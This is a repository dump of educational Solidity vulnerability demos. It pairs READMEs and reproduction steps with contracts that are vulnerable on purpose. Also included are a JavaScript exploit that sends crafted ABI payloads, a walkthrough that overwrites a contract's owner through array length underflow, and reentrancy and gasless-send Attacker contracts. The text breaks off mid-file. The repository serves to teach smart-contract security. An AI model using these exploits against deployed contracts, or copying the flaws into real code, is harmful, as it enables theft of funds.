├── .gitignore ├── BlockHashDependency ├── README.md └── lottery.sol ├── DynamicTypesLengthDependency ├── README.md ├── dynamicTypes.sol ├── exploit.js └── package.json ├── Hoisting ├── README.md └── hoisting.sol ├── ImplicitMath ├── Crowdsale.sol ├── ERC20.sol ├── MintableToken.sol ├── Ownable.sol ├── README.md ├── SafeMath.sol ├── StandardToken.sol └── Token.sol ├── Inheritance ├── README.md └── inheritance.sol ├── Length underflow ├── README.md └── arrayLenghtUnderflow.sol ├── MoneyTransfer ├── README.md ├── gasless.sol ├── proper.sol ├── reentrancy.sol └── selfdestruct.sol ├── README.md ├── TypeConfusion ├── README.md ├── neo.sol └── smith.sol ├── Underflow ├── README.md └── _flow.sol └── Uninitialized storage pointer ├── README.md └── uninitialized.sol /.gitignore: -------------------------------------------------------------------------------- 1 | .idea -------------------------------------------------------------------------------- /BlockHashDependency/README.md: -------------------------------------------------------------------------------- 1 | # BlockHash Dependency. 2 | 3 | ## Description: 4 | Accoding to a Solidity documentation: 5 | `block.blockhash(uint blockNumber) returns (bytes32): hash of the given block` - 6 | **only works for 256 most recent blocks excluding current.** 7 | 8 | In other words, `block.blockhash(X) == 0` where `X ∈ [0,block.number - 256) ∪ [block.number, 2**256-1]` 9 | 10 | ### To reproduce: 11 | 12 | 1. Copy-paste `lottery.sol` to remix (or use `Connect to localhost` feature) and deploy `Lottery` contract with more than 6 ether. 13 | 2. Call `doBet("0", "")` with 1 ether as value. 14 | 3. Wait more than 256 blocks. 15 | 4. Call `takePrize`. 16 | 17 | Lottery smart contract should award you by value * 6 ether. 18 | 19 | *Inspired by [SmartBillions lottery](https://etherscan.io/address/0x5ace17f87c7391e5792a7683069a8025b83bbd85#code) -------------------------------------------------------------------------------- /BlockHashDependency/lottery.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Lottery { 4 | 5 | struct Bet { 6 | uint value; 7 | uint24 betHash; 8 | uint blockNum; 9 | } 10 | 11 | mapping(address => Bet) public players; 12 | 13 | function Lottery() public payable { 14 | 15 | } 16 | 17 | function doBet(uint24 _hash, uint32 _blockNum) payable public { 18 | require(_blockNum > block.number && players[msg.sender].value == 0 && msg.value > 0); 19 | players[msg.sender].value = msg.value; 20 | players[msg.sender].betHash = _hash; 21 | players[msg.sender].blockNum = _blockNum; 22 | } 23 | 24 | function takePrize() { 25 | require(players[msg.sender].blockNum < block.number && players[msg.sender].value > 0); 26 | msg.sender.transfer(betPrize()); 27 | delete players[msg.sender]; 28 | } 29 | 30 | function betPrize() public view returns (uint) { 31 | Bet memory player = players[msg.sender]; 32 | 33 | uint24 realHash = uint24(block.blockhash(player.blockNum)); 34 | uint24 hit = player.betHash ^ realHash; 35 | 36 | uint matches = 37 | ((hit & 0xF) == 0 ? 1 : 0 ) + 38 | ((hit & 0xF0) == 0 ? 1 : 0 ) + 39 | ((hit & 0xF00) == 0 ? 1 : 0 ) + 40 | ((hit & 0xF000) == 0 ? 1 : 0 ) + 41 | ((hit & 0xF0000) == 0 ? 1 : 0 ) + 42 | ((hit & 0xF00000) == 0 ? 1 : 0 ); 43 | 44 | if(matches == 6){ 45 | return(uint(player.value) * 6); 46 | } 47 | if(matches == 5){ 48 | return(uint(player.value) * 5); 49 | } 50 | if(matches == 3){ 51 | return(uint(player.value) * 3); 52 | } 53 | if(matches == 2){ 54 | return(uint(player.value) * 2); 55 | } 56 | return(0); 57 | } 58 | } -------------------------------------------------------------------------------- /DynamicTypesLengthDependency/README.md: -------------------------------------------------------------------------------- 1 | # Dynamic Types Length Dependency. 2 | 3 | ## Description: 4 | The example concerns the length of ABI-encoded arrays, strings, bytes. The length is part of the ABI payload, and can be set by caller(!) to almost arbitrary values. 5 | So EVM initialize type by length father then content. 6 | 7 | ### To reproduce: 8 | 9 | 0. Setup local Ethereum node (geth e.g.), initialize private blockchain and run node with rpc interface. 10 | 1. Copy-paste `dynamicTypes.sol` to remix (or use `Connect to localhost` feature) and deploy `DynamicTypes` contract to your blockchain . 11 | 2. `npm install` 12 | 3. Grab contract address and change `contractAdd` in `exploit.js`. 13 | 4. `node exploit.js`. 14 | 5. See at `str`, `byts`, `array` variables. 15 | 16 | *Inspired by [Roundtable](https://github.com/Arachnid/uscc/tree/master/submissions-2017/martinswende) -------------------------------------------------------------------------------- /DynamicTypesLengthDependency/dynamicTypes.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.19; 2 | 3 | contract DynamicTypes { 4 | uint public strLength; 5 | uint public bytsLength; 6 | uint public arrayLength; 7 | 8 | string public str; 9 | bytes public byts; 10 | address[] public array; 11 | 12 | function callme(string _str, bytes _byts, address[] _array) public { 13 | strLength = bytes(_str).length; 14 | str = _str; 15 | 16 | bytsLength = _byts.length; 17 | byts = _byts; 18 | 19 | arrayLength = _array.length; 20 | array = _array; 21 | } 22 | } -------------------------------------------------------------------------------- /DynamicTypesLengthDependency/exploit.js: -------------------------------------------------------------------------------- 1 | var Web3 = require('web3'); 2 | var web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545")); 3 | web3.eth.defaultAccount = web3.eth.accounts[0]; 4 | 5 | var contractAdd = "0x4927fb5da1cc6dad8e0a7e7a29d13181c99152e2"; 6 | var contractABI = [ 7 | { 8 | "constant": true, 9 | "inputs": [], 10 | "name": "why", 11 | "outputs": [ 12 | { 13 | "name": "", 14 | "type": "bytes" 15 | } 16 | ], 17 | "payable": false, 18 | "stateMutability": "view", 19 | "type": "function" 20 | }, 21 | { 22 | "constant": true, 23 | "inputs": [], 24 | "name": "who", 25 | "outputs": [ 26 | { 27 | "name": "", 28 | "type": "string" 29 | } 30 | ], 31 | "payable": false, 32 | "stateMutability": "view", 33 | "type": "function" 34 | }, 35 | { 36 | "constant": true, 37 | "inputs": [ 38 | { 39 | "name": "", 40 | "type": "uint256" 41 | } 42 | ], 43 | "name": "they", 44 | "outputs": [ 45 | { 46 | "name": "", 47 | "type": "address" 48 | } 49 | ], 50 | "payable": false, 51 | "stateMutability": "view", 52 | "type": "function" 53 | }, 54 | { 55 | "constant": true, 56 | "inputs": [], 57 | "name": "stringLength", 58 | "outputs": [ 59 | { 60 | "name": "", 61 | "type": "uint256" 62 | } 63 | ], 64 | "payable": false, 65 | "stateMutability": "view", 66 | "type": "function" 67 | }, 68 | { 69 | "constant": true, 70 | "inputs": [], 71 | "name": "bytesLength", 72 | "outputs": [ 73 | { 74 | "name": "", 75 | "type": "uint256" 76 | } 77 | ], 78 | "payable": false, 79 | "stateMutability": "view", 80 | "type": "function" 81 | }, 82 | { 83 | "constant": true, 84 | "inputs": [], 85 | "name": "arrayLength", 86 | "outputs": [ 87 | { 88 | "name": "", 89 | "type": "uint256" 90 | } 91 | ], 92 | "payable": false, 93 | "stateMutability": "view", 94 | "type": "function" 95 | }, 96 | { 97 | "constant": false, 98 | "inputs": [ 99 | { 100 | "name": "_who", 101 | "type": "string" 102 | }, 103 | { 104 | "name": "_why", 105 | "type": "bytes" 106 | }, 107 | { 108 | "name": "_they", 109 | "type": "address[]" 110 | } 111 | ], 112 | "name": "foo", 113 | "outputs": [], 114 | "payable": false, 115 | "stateMutability": "nonpayable", 116 | "type": "function" 117 | } 118 | ]; 119 | 120 | var contract = web3.eth.contract(contractABI).at(contractAdd); 121 | 122 | // "AAAA", ["0x42", "0x43", "0x44"], ["0x01", "0x02"] 123 | var defaultArgs = [ 124 | '0x5fc059fd', 125 | '0000000000000000000000000000000000000000000000000000000000000060', 126 | '00000000000000000000000000000000000000000000000000000000000000a0', 127 | '00000000000000000000000000000000000000000000000000000000000000e0', 128 | '0000000000000000000000000000000000000000000000000000000000000004', 129 | '4141414100000000000000000000000000000000000000000000000000000000', 130 | '0000000000000000000000000000000000000000000000000000000000000003', 131 | '4243440000000000000000000000000000000000000000000000000000000000', 132 | '0000000000000000000000000000000000000000000000000000000000000002', 133 | '0000000000000000000000000000000000000000000000000000000000000001', 134 | '0000000000000000000000000000000000000000000000000000000000000002' 135 | ]; 136 | 137 | var modifiedArgs = [ 138 | '0x5fc059fd', 139 | '0000000000000000000000000000000000000000000000000000000000000060', 140 | '00000000000000000000000000000000000000000000000000000000000000a0', 141 | '00000000000000000000000000000000000000000000000000000000000000e0', 142 | '0000000000000000000000000000000000000000000000000000000000000040', 143 | '4141414100000000000000000000000000000000000000000000000000000000', 144 | '0000000000000000000000000000000000000000000000000000000000000040', 145 | '4243440000000000000000000000000000000000000000000000000000000000', 146 | '0000000000000000000000000000000000000000000000000000000000000040', 147 | '0000000000000000000000000000000000000000000000000000000000000001', 148 | '0000000000000000000000000000000000000000000000000000000000000002' 149 | ]; 150 | 151 | defaultData = defaultArgs.join(""); 152 | modifiedData = modifiedArgs.join(""); 153 | 154 | var tx = web3.eth.sendTransaction({ 155 | "to" : contractAdd, 156 | "data" : modifiedData, 157 | "gas" : 1185919 158 | }); 159 | 160 | console.log("Transaction sent.", tx); 161 | 162 | var filter = web3.eth.filter("latest"); 163 | filter.watch(function (lastBlock) { 164 | console.log("Transaction mined with status:", web3.eth.getTransactionReceipt(tx).status); 165 | filter.stopWatching(); 166 | }); 167 | 168 | 169 | 170 | 171 | 172 | 173 | -------------------------------------------------------------------------------- /DynamicTypesLengthDependency/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "dynamic_types_length_dependency", 3 | "version": "1.0.0", 4 | "description": "## Description: The example concerns the length of ABI-encoded arrays, strings, bytes. The length is part of the ABI payload, and can be set by caller(!) to almost arbitrary values.", 5 | "main": "exploit.js", 6 | "dependencies": { 7 | "web3": "0.14.0" 8 | }, 9 | "devDependencies": {}, 10 | "scripts": { 11 | "test": "echo \"Error: no test specified\" && exit 1" 12 | }, 13 | "author": "@_p4lex", 14 | "license": "ISC" 15 | } 16 | -------------------------------------------------------------------------------- /Hoisting/README.md: -------------------------------------------------------------------------------- 1 | # Hoisting. 2 | 3 | ## Description: 4 | Solidity is considered to be a Javascript-like language. I'm disagree with that point but there is a crowd of frontend developers that wrote most of existing contracts. 5 | So, if that is reason "Javascript-like" - that's ok -_- 6 | 7 | Anyway, Solidity as JS has _hoising_ mechanism. This means an object (variable, function, ...) can be declared after it has been used. 8 | But thing is "Solidity only hoists declarations", not initializations! Strictly speaking, it works for both JS and Solidity. Read more 9 | about JS [here](https://www.w3schools.com/js/js_hoisting.asp). 10 | 11 | ### To reproduce: 12 | 13 | 1. Copy-paste `hoisting.sol` to remix (or use `Connect to localhost` feature) and deploy Hoisting contract. 14 | 2. Check `strg[0]`, `someNum` should be zero. 15 | 3. Call `main(0)`, then `one` should be 1. 16 | 4. Set `someNum` of `strg[0]` to 42 by calling `setter(0, 42)`. 17 | 5. Call `main(0)`, then `one` should be 2. But revert expected(42 > 10)! Actually someNum == 0 in both cases. 18 | 19 | That's all :) -------------------------------------------------------------------------------- /Hoisting/hoisting.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.21; 2 | 3 | contract Hoisting { 4 | 5 | uint public one; 6 | 7 | struct Storage { 8 | uint someNum; 9 | } 10 | 11 | mapping (uint => Storage) public strg; 12 | 13 | function main(uint _id) public { 14 | require(c.someNum < 10); // looks similar, yep? "All requires should be on top" 15 | 16 | Storage c = strg[_id]; // actually this line should be first 17 | one += 1; 18 | } 19 | 20 | function someNumSetter(uint id, uint _someNum) public { 21 | strg[id].someNum = _someNum; 22 | } 23 | } -------------------------------------------------------------------------------- /ImplicitMath/Crowdsale.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.19; 2 | 3 | import "./SafeMath.sol"; 4 | import "./Token.sol"; 5 | import "./Ownable.sol"; 6 | 7 | contract Crowdsale is Ownable { 8 | using SafeMath for uint; 9 | 10 | Token public token; 11 | address public beneficiary; 12 | 13 | uint public collectedWei; 14 | uint public tokensSold; 15 | 16 | uint public tokensForSale = 7000000000 * 1 ether; 17 | uint public priceTokenWei = 1 ether / 200; 18 | 19 | bool public crowdsaleFinished = false; 20 | 21 | event LogNewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount); 22 | event LogCloseICO(); 23 | 24 | function Crowdsale() { 25 | token = new Token(); 26 | beneficiary = msg.sender; 27 | } 28 | 29 | function() payable { 30 | purchase(); 31 | } 32 | 33 | function setTokenPrice(uint _value) onlyOwner { 34 | require(!crowdsaleFinished); 35 | priceTokenWei = 1 ether / _value; 36 | } 37 | 38 | function purchase() payable { 39 | require(!crowdsaleFinished); 40 | require(tokensSold < tokensForSale); 41 | require(msg.value >= 0.001 ether); 42 | 43 | uint sum = msg.value; 44 | uint amount = sum.div(priceTokenWei).mul(1 ether); // hint 45 | uint retSum = 0; 46 | 47 | if(tokensSold.add(amount) > tokensForSale) { 48 | uint retAmount = tokensSold.add(amount).sub(tokensForSale); 49 | retSum = retAmount.mul(priceTokenWei).div(1 ether); 50 | 51 | amount = amount.sub(retAmount); 52 | sum = sum.sub(retSum); 53 | } 54 | 55 | tokensSold = tokensSold.add(amount); 56 | collectedWei = collectedWei.add(sum); 57 | 58 | beneficiary.transfer(sum); 59 | token.mint(msg.sender, amount); 60 | 61 | if(retSum > 0) { 62 | msg.sender.transfer(retSum); 63 | } 64 | 65 | LogNewContribution(msg.sender, amount, sum); 66 | } 67 | 68 | function closeCrowdsale() onlyOwner { 69 | require(!crowdsaleFinished); 70 | 71 | token.transferOwnership(beneficiary); 72 | token.finishMinting(); 73 | crowdsaleFinished = true; 74 | LogCloseICO(); 75 | } 76 | 77 | function balanceOf(address _owner) constant returns(uint256 balance) { 78 | return token.balanceOf(_owner); 79 | } 80 | } -------------------------------------------------------------------------------- /ImplicitMath/ERC20.sol: -------------------------------------------------------------------------------- 1 | contract ERC20 { 2 | uint256 public totalSupply; 3 | 4 | event Transfer(address indexed from, address indexed to, uint256 value); 5 | event Approval(address indexed owner, address indexed spender, uint256 value); 6 | 7 | function balanceOf(address who) constant returns (uint256); 8 | function transfer(address to, uint256 value) returns (bool); 9 | function transferFrom(address from, address to, uint256 value) returns (bool); 10 | function allowance(address owner, address spender) constant returns (uint256); 11 | function approve(address spender, uint256 value) returns (bool); 12 | } -------------------------------------------------------------------------------- /ImplicitMath/MintableToken.sol: -------------------------------------------------------------------------------- 1 | import "./StandardToken.sol"; 2 | import "./Ownable.sol"; 3 | 4 | contract MintableToken is StandardToken, Ownable { 5 | event Mint(address indexed to, uint256 amount); 6 | event MintFinished(); 7 | 8 | bool public mintingFinished = false; 9 | uint public MAX_SUPPLY; 10 | 11 | modifier canMint() { require(!mintingFinished); _; } 12 | 13 | function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool success) { 14 | require(totalSupply.add(_amount) <= MAX_SUPPLY); 15 | 16 | totalSupply = totalSupply.add(_amount); 17 | balances[_to] = balances[_to].add(_amount); 18 | 19 | Mint(_to, _amount); 20 | Transfer(address(0), _to, _amount); 21 | 22 | return true; 23 | } 24 | 25 | function finishMinting() onlyOwner public returns(bool success) { 26 | mintingFinished = true; 27 | 28 | MintFinished(); 29 | 30 | return true; 31 | } 32 | } -------------------------------------------------------------------------------- /ImplicitMath/Ownable.sol: -------------------------------------------------------------------------------- 1 | contract Ownable { 2 | address public owner; 3 | 4 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 5 | 6 | modifier onlyOwner() { require(msg.sender == owner); _; } 7 | 8 | function Ownable() { 9 | owner = msg.sender; 10 | } 11 | 12 | function transferOwnership(address newOwner) onlyOwner { 13 | require(newOwner != address(0)); 14 | OwnershipTransferred(owner, newOwner); 15 | owner = newOwner; 16 | } 17 | } -------------------------------------------------------------------------------- /ImplicitMath/README.md: -------------------------------------------------------------------------------- 1 | # Implicit Math. 2 | 3 | ## Description: 4 | Does the [SafeMath](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) really safe? 5 | Yes, more or less... there is one thing developer should remember - *SafeMath cares about [overflows](https://github.com/pertsev/solidity_tricks/tree/master/Underflow) only*. 6 | But for division of integers, some kind of [round-off error](https://en.wikipedia.org/wiki/Round-off_error) is also 7 | possible - usual behavior of EVM is just discard fraction part of quotient. So, if developer doesn't consider it, 8 | he may(will) make a mistake like in this example. 9 | 10 | ### To reproduce: 11 | 1. Copy-paste contracts to remix (or use `Connect to localhost` feature) and deploy `Crowdsale` contract. 12 | 2. Call `purchase` with `0.444444444444444444` ether as value. 13 | 3. Check your balance. It is `88` instead of `88.8888888888888888`. 14 | 15 | Notice, this bug is no easy to detect by testing even. 16 | It's just because people seek to choose numbers for division to avoid fraction part at all (especially before a deadline). 17 | 18 | **Fix**: swap `div` and `mul` at line 44. 19 | 20 | *the example inspired by actual practice of smart contract code audit. -------------------------------------------------------------------------------- /ImplicitMath/SafeMath.sol: -------------------------------------------------------------------------------- 1 | library SafeMath { 2 | function mul(uint256 a, uint256 b) internal constant returns(uint256) { 3 | uint256 c = a * b; 4 | assert(a == 0 || c / a == b); 5 | return c; 6 | } 7 | 8 | function div(uint256 a, uint256 b) internal constant returns(uint256) { 9 | uint256 c = a / b; 10 | return c; 11 | } 12 | 13 | function sub(uint256 a, uint256 b) internal constant returns(uint256) { 14 | assert(b <= a); 15 | return a - b; 16 | } 17 | 18 | function add(uint256 a, uint256 b) internal constant returns(uint256) { 19 | uint256 c = a + b; 20 | assert(c >= a); 21 | return c; 22 | } 23 | } -------------------------------------------------------------------------------- /ImplicitMath/StandardToken.sol: -------------------------------------------------------------------------------- 1 | import "./ERC20.sol"; 2 | import "./SafeMath.sol"; 3 | 4 | contract StandardToken is ERC20 { 5 | using SafeMath for uint256; 6 | 7 | mapping(address => uint256) balances; 8 | mapping(address => mapping(address => uint256)) allowed; 9 | 10 | function balanceOf(address _owner) constant returns(uint256 balance) { 11 | return balances[_owner]; 12 | } 13 | 14 | function transfer(address _to, uint256 _value) returns(bool success) { 15 | require(_to != address(0)); 16 | 17 | balances[msg.sender] = balances[msg.sender].sub(_value); 18 | balances[_to] = balances[_to].add(_value); 19 | 20 | Transfer(msg.sender, _to, _value); 21 | 22 | return true; 23 | } 24 | 25 | function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { 26 | require(_to != address(0)); 27 | 28 | var _allowance = allowed[_from][msg.sender]; 29 | 30 | balances[_from] = balances[_from].sub(_value); 31 | balances[_to] = balances[_to].add(_value); 32 | allowed[_from][msg.sender] = _allowance.sub(_value); 33 | 34 | Transfer(_from, _to, _value); 35 | 36 | return true; 37 | } 38 | 39 | function allowance(address _owner, address _spender) constant returns(uint256 remaining) { 40 | return allowed[_owner][_spender]; 41 | } 42 | 43 | function approve(address _spender, uint256 _value) returns(bool success) { 44 | require((_value == 0) || (allowed[msg.sender][_spender] == 0)); 45 | 46 | allowed[msg.sender][_spender] = _value; 47 | 48 | Approval(msg.sender, _spender, _value); 49 | 50 | return true; 51 | } 52 | 53 | function increaseApproval(address _spender, uint _addedValue) returns(bool success) { 54 | allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); 55 | 56 | Approval(msg.sender, _spender, allowed[msg.sender][_spender]); 57 | 58 | return true; 59 | } 60 | 61 | function decreaseApproval(address _spender, uint _subtractedValue) returns(bool success) { 62 | uint oldValue = allowed[msg.sender][_spender]; 63 | 64 | if(_subtractedValue > oldValue) { 65 | allowed[msg.sender][_spender] = 0; 66 | } else { 67 | allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); 68 | } 69 | 70 | Approval(msg.sender, _spender, allowed[msg.sender][_spender]); 71 | 72 | return true; 73 | } 74 | } -------------------------------------------------------------------------------- /ImplicitMath/Token.sol: -------------------------------------------------------------------------------- 1 | 2 | import "./MintableToken.sol"; 3 | 4 | contract Token is MintableToken { 5 | string public name = "Division"; 6 | string public symbol = "DIV"; 7 | uint256 public decimals = 18; 8 | 9 | function Token() { 10 | MAX_SUPPLY = 10000000000 * 1 ether; 11 | } 12 | } -------------------------------------------------------------------------------- /Inheritance/README.md: -------------------------------------------------------------------------------- 1 | # Non obvious inheritance. 2 | 3 | ## Description: 4 | Solidity use C3 linearization algorithm to make call graph. 5 | So, multiple inheritance may be non obvious. 6 | Check code to clarification. 7 | 8 | ### To reproduce: 9 | 10 | 1. Copy-paste `inheritance.sol` to remix (or use `Connect to localhost` feature) and deploy Son contract. 11 | 2. Then call `sonWannaHome` function. 12 | -------------------------------------------------------------------------------- /Inheritance/inheritance.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Grandfather { 4 | bool public grandfatherCalled; 5 | 6 | function pickUpFromKindergarten() internal { 7 | grandfatherCalled = true; 8 | } 9 | } 10 | 11 | contract Mom is Grandfather { 12 | bool public momCalled; 13 | 14 | function pickUpFromKindergarten() internal { 15 | momCalled = true; 16 | } 17 | } 18 | 19 | contract Dad is Grandfather { 20 | bool public dadCalled; 21 | 22 | function pickUpFromKindergarten() internal { // Ok. Dad have been called. 23 | dadCalled = true; 24 | super.pickUpFromKindergarten(); // And who is super here? 25 | // Only one parent. Yep? Grandfather? 26 | // NO! MOM! Be carefull about C3 linearization ¯\_(ツ)_/¯ 27 | } 28 | } 29 | 30 | contract Son is Mom, Dad { 31 | 32 | function sonWannaHome() public { 33 | super.pickUpFromKindergarten(); // who is super here? Mom or Dad? Hint: Dad 34 | } 35 | } -------------------------------------------------------------------------------- /Length underflow/README.md: -------------------------------------------------------------------------------- 1 | # Array length underflow. 2 | 3 | ## Description: 4 | The storage for a contract is addressed by 256-bit pointers. All storage 5 | variables for the contract are stored at different offsets in this single memory space. Every variable occupies a 32-byte 6 | "slot" in storage that is allocated in order of the variable declaration, starting at address 0. The first 32-byte 7 | variable will be at address 0, the second at address 1, and so on. Because mappings and dynamic arrays have fluctuating 8 | sizes, their contents cannot be stored inline in the slots. To solve this, hashing is used. 9 | 10 | * In the case of a dynamic array, the reserved slot contains the length of the array as a uint256, and the array data 11 | itself is located sequentially at the address keccak256(p). Again, the chances of a collision, even for large arrays, 12 | are so small that they can be ignored. 13 | 14 | In general, user-provided data cannot influence storage locations without going through the keccak256 hash function, 15 | the output of which is infeasible to influence. However, there is one exception: Dynamic arrays are stored sequentially 16 | starting at their hashed offset. If the index into this array is under attacker control, then the storage address is 17 | also controlled, within the bounds of the array. Of course, realistic array sizes will be insignificant compared to the 18 | keccak256 range, but the array length has uint256 type. So, as [others](https://github.com/pertsev/solidity_tricks/tree/master/Underflow) 19 | it can be (over|under)flowed by `array.length--` e.g. 20 | 21 | [Solidity documentation about memories](http://solidity.readthedocs.io/en/develop/miscellaneous.html#layout-of-state-variables-in-storage) 22 | 23 | [Example inspired by MerdeToken](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte) 24 | 25 | ### To reproduce: 26 | 27 | 1. Copy-paste `arrayLengthUnderflow.sol` to remix (or use `Connect to localhost` feature) and deploy `Array` contract. 28 | 2. See Storage memory at debugger: 29 | ``` 30 | { 31 | "0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563":{ 32 | // Slot for array length 33 | "key":"0x0000000000000000000000000000000000000000000000000000000000000000", 34 | "value":"0x02" 35 | }, 36 | "0x510e4e770828ddbf7f7b00ab00a9f6adaf81c0dc9cc85f1f8249c256942d61d9":{ 37 | // first item of array (notice "key" and "0x290d..." above) 38 | "key":"0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563", 39 | "value":"0xaa" 40 | }, 41 | "0x6c13d8c1c5df666ea9ca2a428504a3776c8ca01021c3a1524ca7d765f600979a":{ 42 | // second item of array (notice "key" and "0x290d...63" above) 43 | "key":"0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564", 44 | "value":"0xbb" 45 | }, 46 | "0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6":{ 47 | // owner 48 | "key":"0x0000000000000000000000000000000000000000000000000000000000000001", 49 | "value":"0xca35b7d915458ef540ade6068dfe2f44e8fa733c" 50 | } 51 | } 52 | ``` 53 | 3. Call `underflow` function 3 times and see Storage: 54 | ``` 55 | { 56 | "0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6":{ 57 | // owner 58 | "key":"0x0000000000000000000000000000000000000000000000000000000000000001", 59 | "value":"0xca35b7d915458ef540ade6068dfe2f44e8fa733c" 60 | }, 61 | "0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563":{ 62 | // array length 63 | "key":"0x0000000000000000000000000000000000000000000000000000000000000000", 64 | "value":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" 65 | }, 66 | "0x3a93c8bac389ae1de2d290d3fe962d3c151e3a269221b7341e4a601c50c12d94":{ 67 | // last array elem (notice "0x29...63" and "0x29...62" above) 68 | "key":"0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e562", 69 | "value":"0x0000000000000000000000000000000000000000000000000000000000000000" 70 | } 71 | } 72 | ``` 73 | 4. Let's overwrite `owner`? Call `modify` with that args: 74 | `"0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9e", "0xdeadbeef"` 75 | And see storage now: 76 | ``` 77 | { 78 | "0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563":{ 79 | "key":"0x0000000000000000000000000000000000000000000000000000000000000000", 80 | "value":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" 81 | }, 82 | "0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6":{ 83 | //owner! 84 | "key":"0x0000000000000000000000000000000000000000000000000000000000000001", 85 | "value":"0x00000000000000000000000000000000000000000000000000000000deadbeef" 86 | } 87 | } 88 | ``` 89 | 90 | Stop. How have you known the index `"0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9e"`? 91 | Ok. Check following Python code to clarification: 92 | ``` 93 | //array length //sha3(0x00) //owner's slot number 94 | >>> hex(2**256 - 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 + 1 ) 95 | '0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9eL' 96 | ``` -------------------------------------------------------------------------------- /Length underflow/arrayLenghtUnderflow.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Array { 4 | uint[] public array; 5 | address public owner; 6 | 7 | function Array() { 8 | owner = msg.sender; 9 | array.push(0xaa); 10 | array.push(0xbb); 11 | } 12 | 13 | function underflow() { 14 | array.length--; 15 | } 16 | 17 | function modify(uint index, uint value) { 18 | array[index] = value; 19 | } 20 | } -------------------------------------------------------------------------------- /MoneyTransfer/README.md: -------------------------------------------------------------------------------- 1 | # Reentrancy. 2 | 3 | ## Description: 4 | The most famous attack. There are two things to take in account - 5 | [fallback function](http://solidity.readthedocs.io/en/develop/contracts.html#fallback-function) and 6 | [call](https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall). 7 | 8 | ### To reproduce: 9 | 10 | 1. Copy-paste `reentrancy.sol` to remix (or use `Connect to localhost` feature) and deploy `Wallet` contract. 11 | 2. Send to Wallet a little bit ether from other account (10 e.g.). 12 | 3. Grab Wallet address and use it for deploy Attacker smart contract. 13 | 4. Call `attack` function with 1 ether. 14 | 5. Call `kill` function and check balance (it should be 1 + 10) 15 | 16 | 17 | # Gasless send. 18 | 19 | ## Description: 20 | Build-in `send` function is just wrapper on `call` with limited gas (2300). And as `call`, it returns `false` when something goes wrong. 21 | The "something" is: 22 | 1. `out-of-gas` exception 23 | 2. explicit `throw` (or `revert()`) 24 | 25 | This example illustrate Gasless send problem. 26 | 27 | ### To reproduce: 28 | 29 | 1. Copy-paste `gasless.sol` to remix (or use `Connect to localhost` feature) and deploy `Wallet` contract. 30 | 2. Grab Wallet address and use it for deploy Attacker smart contract. 31 | 3. Call `attack` function with 10 ether. 32 | 4. Check Wallet and Attacker balance. 33 | 34 | Attacker should have 0 via `Attacker.getBalance` func and `Wallet.balances` getter. But `Wallet.getBalance` returns 10 ether. 35 | So, ethers of attacker are locked forever (for him). 36 | 37 | # Proper way to send ether. 38 | 39 | ## Description: 40 | Example of `withdraw` function with some tip to avoid DOS. 41 | 42 | # Send ether via selfdestruct. 43 | 44 | ## Description: 45 | The another way to send ether to contract is `selfdestruct` func. There is no way for contract-recipient to avoid it! 46 | Not by `throw` in fallback func or by destructing recipient-contract itself even. 47 | 48 | Notice, ether can be sent to non-existent contract also ([Address of future contract can be computed easily](https://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed)) 49 | 50 | ### To reproduce: 51 | 52 | 1. Copy-paste `selfdestruct.sol` to remix (or use `Connect to localhost` feature) and deploy all contracts 53 | (don't forget send a few ethers with `Sender` contract creation). 54 | 2. Call `Receiver.kill`. 55 | 3. Call `Sender.attack` with `Receiver` address. 56 | 4. Check `Sender` balance (should be above zero). 57 | 58 | -------------------------------------------------------------------------------- /MoneyTransfer/gasless.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Wallet { 4 | mapping (address => uint) public balances; 5 | 6 | function() payable public { 7 | balances[msg.sender] = msg.value; 8 | } 9 | 10 | function withdraw() public { 11 | msg.sender.send(balances[msg.sender]); 12 | balances[msg.sender] = 0; 13 | } 14 | 15 | function getBalance() public view returns (uint) { 16 | return this.balance; 17 | } 18 | } 19 | 20 | contract Attacker { 21 | Wallet public wallet; 22 | 23 | function Attacker(address _wallet) public { 24 | wallet = Wallet(_wallet); 25 | } 26 | 27 | function attack() payable public { 28 | wallet.call.value(msg.value)(); 29 | wallet.withdraw(); 30 | } 31 | 32 | function () payable public { 33 | revert(); 34 | } 35 | 36 | function getBalance() public view returns (uint) { 37 | return 